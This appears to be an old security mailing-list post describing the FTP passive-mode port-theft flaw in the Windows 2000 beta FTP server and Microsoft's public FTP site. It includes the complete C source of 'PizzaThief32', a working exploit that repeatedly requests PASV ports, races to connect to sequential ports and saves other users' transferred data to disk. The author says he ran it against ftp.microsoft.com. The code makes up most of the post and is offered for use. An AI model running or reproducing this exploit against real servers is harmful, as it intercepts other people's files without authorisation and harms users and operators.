|
Many people are aware of an old vulnerability with FTP servers. The problem is related to not authenticating the source address of PASV port connections. To add insult to injury, many FTP servers also open these ports in sequential order. Now, I would expect that many of the older installations out on the 'Net would be vulnerable. However, I would not expect the latest Beta release of Microsoft Windows 2000 server to have this vulnerability. Come on people! After discovering this problem on my W2k installation, I tested it against ftp.microsoft.com. No surprises.. their public ftp server is vulnerable also. Now, using FTP w/o SSH in the first place is a bad idea. However, I still think that this vulnerability is easy to fix and of all things it shouldn't present in win2k. My wu-ftp install doesn't have this problem. I dug around around on the net to see if anyone had written a script for this. I found "pizzathief" for solaris. I re-wrote the program for NT and added some features. The source code for "PizzaThief32" is posted below. <--- snip /* * PizzaThief32 Exploit written by Greg Hoglund <hoglund@ieway.com> * * Special thanks to Jeffrey R. Gerber for thinking of such a cool name * and to Bret McDanel for writing pizzathief for solaris! * * A common problem with FTP servers around the world results from * "passive mode". A client will issue the PASV command and the * server will in turn open a local port and wait for the client to * connect. Once the client connects, the server will transmit the * file or directory listing or whatever big chunk of data the client * wanted. The crux of the problem is that many FTP servers do not * check the source address of the connecting client. Hence, if the * men in black manage to connect to that port before you do, you lose * your file to someone else! And if this problem wasn't old as mold * already, Microsoft's Windows 2000 FTP server (version 5.0 I think) * has the problem. In fact, so does Microsoft's *public* FTP site! * And the icing on the cake is many FTP servers open PASV ports in * sequential order making the guesswork easy. * * This 'sploit runs under Windows NT and uses nonblocking i/o to snag * as much data as possible. The code is cleaned up a bit, and the * tool will now snag connections in a cycle. */ #include <windows.h> #include <stdio.h> #include <winsock.h> #define NUMSOCK 64 #define FLAG_VERBOSE (0x1 << 1) #define FLAG_STDOUT (0x1 << 2) int connserver(char *host,int port); int netgets(char *buff, int len, int sd); void dumpdata(int theSocket, struct in_addr ip, unsigned short port); int pizzaman32(struct in_addr ip, unsigned short port); unsigned long gFlags = 0; unsigned long gTimeout = 5000; main(int argc, char **argv) { int sd, count; struct in_addr ip; char buff[1024],*ptr1; unsigned short int port; WSADATA wsaData; if(0 != WSAStartup(MAKEWORD(2,0), &wsaData)) { WSACleanup(); fprintf(stderr, "Could not load winsock DLL\n"); exit(0); } if(argc < 2) { fprintf(stderr, "Pizzathief32 for NT!\nFrom the Law Offices of Hoglund, " \ "McDanel, & Gerber\nUsage: %s [-v -tTimeout -s] " \ "<ftpserver>\n options: -v Verbose\n " \ "-t timeout in ms\n -s dump to stdout\n",argv[0]); exit(0); } count = 0; while(argv[++count][0] == '-'){ switch(argv[count][1]){ case 'v': gFlags |= FLAG_VERBOSE; break; case 't': if(isdigit(argv[count][2])) gTimeout = atoi(&argv[count][2]); break; case 's': gFlags |= FLAG_STDOUT; break; default: break; } } if( (count < argc) && ((sd=connserver(argv[count],21)) < 0) ) { fprintf(stderr, "could not connect to server"); exit(0); } while(1) { if(netgets(buff,sizeof(buff),sd)==0) { fprintf(stderr, "server closed control connection\n"); closesocket(sd); exit(0); } if(!strncmp(buff,"220 ",4)) { if(FLAG_VERBOSE & gFlags) fprintf(stdout, "requesting username\n"); sprintf(buff,"user ftp\n"); send(sd,buff,strlen(buff),0); } if(!strncmp(buff,"331 ",4)) { if(FLAG_VERBOSE & gFlags) fprintf(stdout, "requesting password\n"); sprintf(buff,"pass pizzaman@illuminati.gov\n"); send(sd,buff,strlen(buff),0); } if(!strncmp(buff,"230 ",4)) { if(FLAG_VERBOSE & gFlags) fprintf(stdout, "we are logged in now\n"); sprintf(buff,"pasv\n"); send(sd,buff,strlen(buff),0); } if(!strncmp(buff,"530 ",4)) { /* invalid password */ sprintf(buff,"quit\n"); send(sd,buff,strlen(buff),0); closesocket(sd); fprintf(stderr, "User ftp wasnt allowed\n"); exit(0); } if(!strncmp(buff,"227 ",4)) { char seps[] = "()"; char *token; /* PASV response */ if(FLAG_VERBOSE & gFlags) fprintf(stdout, buff); /* first get the ip/port into the buffer */ token = strtok(buff,seps); token = strtok((char *)NULL,")"); /* now break off the IP part */ ptr1=(char *)&ip; ptr1[0]=atoi(strtok(token,",")); ptr1[1]=atoi(strtok((char *)NULL,",")); ptr1[2]=atoi(strtok((char *)NULL,",")); ptr1[3]=atoi(strtok((char *)NULL,",")); /* now get the port number */ ptr1=(char *)&port; ptr1[0]=atoi(strtok((char *)NULL,",")); ptr1[1]=atoi(strtok((char *)NULL,",")); sprintf(buff,"pasv\n"); // recirculate pasv connection send(sd,buff,strlen(buff),0); pizzaman32(ip,port); } } return(0); } int connserver(char *host,int port) { int sd,addr; struct hostent *he; struct sockaddr_in sa; /* try to resolve the host */ if((addr=inet_addr(host))!= -1) { /* dotted decimal */ memcpy(&sa.sin_addr,(char *)&addr,sizeof(addr)); } else { if((he=gethostbyname(host))==NULL) { fprintf(stderr, "Unable to resolve %s\n", host); return(-1); } memcpy(&sa.sin_addr,he->h_addr,he->h_length); } sa.sin_port=htons(port); sa.sin_family=AF_INET; if((sd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) { perror("socket"); return(-1); } if(connect(sd,(struct sockaddr *)&sa,sizeof(sa))<0) { perror("connect"); return(-1); } return(sd); } int netgets(char *buff, int len, int sd) { int i; memset(buff,0,len); for(i=0;i<len;i++) { if(recv(sd,&buff[i],1,0)==0) return(i); if(buff[i]=='\n') return(i); } return(i); } int pizzaman32(struct in_addr ip, unsigned short port) { struct sockaddr_in sa; int sdarray[NUMSOCK]; fd_set aConnectSet; unsigned long aFlag = 1; FD_ZERO(&aConnectSet); memcpy(&sa.sin_addr,(char *)&ip,sizeof(ip)); sa.sin_family=AF_INET; if(FLAG_VERBOSE & gFlags) fprintf(stdout, "trying ports %d thru %d\n", ntohs(port) + 1, ntohs(port) + NUMSOCK); for(int i=0; i<NUMSOCK; i++) { int host_port = ntohs(port) + i + 1; if((sdarray[i] = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) { perror("socket"); return(-1); } ioctlsocket(sdarray[i], FIONBIO, &aFlag); sa.sin_port=htons(host_port); FD_SET(sdarray[i], &aConnectSet); if(connect(sdarray[i],(struct sockaddr *)&sa,sizeof(sa)) == 0) { //immediate connection dumpdata(sdarray[i], ip, host_port); } } Sleep(gTimeout); TIMEVAL t = { 0, 0 }; //polling if(-1 != select( 0, NULL, &aConnectSet, NULL, &t)) { for(i=0; i<NUMSOCK; i++) { int host_port = ntohs(port) + i + 1; if(FD_ISSET( sdarray[i], &aConnectSet )) dumpdata(sdarray[i], ip, host_port); closesocket(sdarray[i]); } } return(0); } void dumpdata(int theSocket, struct in_addr ip, unsigned short port) { char buff[1024]; int char_recv = 0; FILE *out_file = NULL; char aFilename[32]; unsigned long aFlag = 1; memset(aFilename, NULL, sizeof(aFilename)); _snprintf(aFilename, sizeof(aFilename), "%s.%d.dat",inet_ntoa(ip), port); // read all data while( (char_recv = recv(theSocket, buff, sizeof(buff)-1, 0) ) > 0) { if(char_recv > 0) { if(aFlag) { aFlag = 0; ioctlsocket(theSocket, FIONBIO, &aFlag); //block on this transfer } if(FLAG_VERBOSE & gFlags) fprintf(stdout, "*** Got data for %s\n", aFilename); if(FLAG_STDOUT & gFlags) { buff[char_recv] = NULL; fprintf(stdout, "%s", buff); } else { if(NULL == out_file) { out_file = fopen(aFilename, "wb"); } if(out_file) { fwrite(buff, char_recv, 1, out_file); } } } } if((FLAG_VERBOSE & gFlags) && (0 == char_recv)) fprintf(stdout, "server closed connection\n"); if(out_file) fclose(out_file); }